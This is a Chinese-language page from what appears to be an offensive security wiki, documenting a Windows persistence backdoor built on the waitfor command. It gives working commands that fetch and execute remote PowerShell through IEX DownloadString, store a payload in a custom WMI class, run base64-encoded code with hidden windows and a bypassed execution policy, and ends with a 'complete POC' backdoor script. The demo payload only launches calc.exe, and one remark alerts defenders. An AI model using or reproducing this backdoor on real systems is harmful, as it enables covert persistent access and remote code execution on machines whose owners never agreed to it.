menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 004-Windows 后门 chevron_right 010-waitfor.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    010-waitfor.md
    7.8 KB / 2021-07-17 00:01:38
        ## waitfor
    
    关于`waitfor`手册中是这么解释的:
    
    ```
    在系统上发送或等待信号。waitfor可用于跨网络同步计算机。
    
    ```
    
    `waitfor`的语法
    
    ```bash
    waitfor [/s <Computer> [/u [<Domain>\]<User> [/p [<Password>]]]] /si <SignalName>
    waitfor [/t <Timeout>] <SignalName>
    
    ```
    
    参数解释:
    
    ```bash
    /s <Computer>  指定远程计算机的名称或IP地址,默认为本地计算机
    /u [<Domain>]<user>    使用指定用户帐户的凭据运行脚本。默认是使用当前用户的凭据。
    /p <Password>  指定/u参数中指定的用户帐户的密码。
    /si            发送指定激活信号。
    /t             指定等待信号的秒数。默认为无限期等待。 
    <SignalName>    指定等待或发送的信号,不区分大小写,长度不能超过225个字符
    
    ```
    
    关于`waitfor`更多的信息可以看一下微软提供的手册:[链接](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor)
    
    我们来测试一下看看
    
    ```bash
    waitfor test && calc 表示接收信号成功后执行计算器
    
    waitfor /s 192.168.163.143 /u qiyou /p qiyou /si test
    
    ```
    
    结果如下
    
    ![64d6371c3d8349babab9e196e3acbc7d](images/security_wiki/64d6371c3d8349babab9e196e3acbc7d.gif)
    
    
    但是这样只能执行一次,这对我们后门持久化很不利,所以我们得想办法让它持久化。
    
    这里就要借用一下三好师傅的`powershell`脚本
    
    #### 支持系统:
    
    * Windows Server 2003
    * Windows Vista
    * Windows XP
    * Windows Server 2008
    * Windows 7
    * Windows Server 2003 with SP2
    * Windows Server 2003 R2
    * Windows Server 2008 R2
    * Windows Server 2000
    * Windows Server 2012
    * Windows Server 2003 with SP1
    * Windows 8
    * Windows 10
    * 其他Server系统未测试,理论上支持
    
    #### 利用思路
    
    Daniel Bohannon‏ @danielhbohannon在twitter上分享了他的利用思路:将waitfor接收信号后的操作设置为从远程服务器下载powershell代码并执行
    
    地址如下:
    
    https://twitter.com/danielhbohannon/status/872258924078092288
    
    细节如下图
    
    ![](images/security_wiki/15906330167602.png)
    
    
    此外,他还提到了一个有趣的技巧:如果将powershell代码设置为延期执行,那么接收信号后,后台将不存在进程waitfor.exe
    
    我验证了这个结论,方法如下:
    
    **开启等待模式:**
    
    cmd:
    
    ```bash
    waitfor test1 && && powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1')
    
    ```
    
    **发送信号:**
    
    cmd:
    
    ```bash
    waitfor /s 127.0.0.1 /si test1
    
    ```
    
    https://raw.githubusercontent.com/3gstudent/test/master/calc2.ps1的内容如下:
    
    ```bash
    Start-Sleep -Seconds 10;
    start-process calc.exe;
    
    ```
    
    当成功接收信号后,进程waitfor.exe退出
    
    接着执行powershell脚本,等待10秒再启动calc.exe
    
    这10秒内,只存在进程powershell.exe
    
    也就是说,如果把等待时间设置更长,那么再这一段等待时间内不存在进程waitfor.exe,提醒防御者注意这个细节
    
    ### poc细节
    
    如果作为一个后门,那么上面的利用方法还不够成熟
    
    因为触发一次后,进程waitfor.exe将退出,导致该后门无法重复使用
    
    需要再次开启一个等待模式,才能再次触发后门
    
    当然,可以在每次后门触发后手动开启一个等待模式
    
    但这不够智能,能否通过脚本实现自动开启等待模式,使其成为一个可持续触发的后门呢?
    
    为此,我写了以下POC
    
    #### 思路1:
    
    在目标系统保存一个ps脚本1.ps1
    
    1.ps1内容如下:
    
    ```bash
    start-process calc.exe
    cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\test\1.ps1
    
    ```
    
    **注:**
    
    转义字符&在powershell中要用`&表示
    
    **开启等待模式:**
    
    cmd:
    
    ```
    waitfor persist1 && powershell -executionpolicy bypass -file c:\test\1.ps1
    
    ```
    
    **发送信号:**
    
    cmd:
    
    ```
    waitfor /s 127.0.0.1 /si persist1
    
    ```
    
    #### 思路2:
    
    不在目标系统保存文件
    
    这里使用一个之前在《WMI backdoor》中介绍过的技巧,将payload保存在WMI类中,进行读取使用
    
    存储payload:
    
    (管理员权限)
    
    ```bash
    $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Backdoor'
    $StaticClass.Put()
    $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe")
    $StaticClass.Put() 
    
    ```
    
    读取payload:
    
    ```bash
    ([WmiClass] 'Win32_Backdoor').Properties['Code'].Value
    
    ```
    
    以上操作如下图
    
    ![](images/security_wiki/15906330456522.png)
    
    
    执行payload:
    
    ```bash
    $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
    iex $exec
    
    ```
    
    **注:**
    
    通过Invoke-Expression执行命令也可以,使用iex是为了缩短长度
    
    结合waitfor的参数格式,这里选择将代码编码为base64
    
    对执行payload的代码进行base64编码,以下代码保存在code.txt:
    
    ```bash
    $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
    iex $exec
    
    ```
    
    对其进行base64编码,代码如下:
    
    ```bash
    $code = Get-Content -Path code.txt
    $bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
    $encoded = [System.Convert]::ToBase64String($bytes)
    $encoded 
    
    ```
    
    获得base64加密代码如下:
    
    ```bash
    JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==
    
    ```
    
    以上操作如下图
    
    ![](images/security_wiki/15906330855327.png)
    
    
    测试base64加密代码:
    
    ```bash
    powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==
    
    ```
    
    成功执行代码,如下图
    
    ![](images/security_wiki/15906330967762.png)
    
    
    根据以上思路,POC如下:
    
    后门代码:
    
    (管理员权限)
    
    ```bash
    $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Backdoor'
    $StaticClass.Put()
    $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& waitfor persist ```&```& powershell -nop -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
    $StaticClass.Put() 
    
    ```
    
    **注:**
    
    存在两次转义字符
    
    ```
     ``用来表示`
    
    ```
    
    安装代码:
    
    ```
    $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
    iex $exec
    
    ```
    
    激活命令:
    
    ```
    waitfor /s 127.0.0.1 /si persist
    
    ```
    
    实际测试如下图
    
    ![](images/security_wiki/15906331152251.png)
    
    
    存在bug,导致powershell.exe无法正常退出,进程在后台残留
    
    所以需要添加一段代码,用来结束进程powershell.exe
    
    **注:**
    
    根据逻辑关系,结束powershell.exe的代码要写在`powershell -nop -W Hidden -E ...`之前
    
    ### 最终,完整POC代码如下:
    
    后门代码:
    
    (管理员权限)
    
    ```bash
    $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
    $StaticClass.Name = 'Win32_Backdoor'
    $StaticClass.Put()| Out-Null
    $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
    $StaticClass.Put() | Out-Null
    
    $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
    iex $exec | Out-Null
    
    ```
    
    激活命令:
    
    ```bash
    waitfor /s 127.0.0.1 /si persist
    
    ```
    
    完整演示如下图
    
    ![2bed9d651a33415cbefb6bdf3087a0ff](images/security_wiki/2bed9d651a33415cbefb6bdf3087a0ff.gif)
    
    
    该方法的优点就是能主动激活,但是缺点也明显就是只能在同一网段才能接收和发送激活信号、服务器重启之后就不行了。
    
    
    
    
    links
    file_download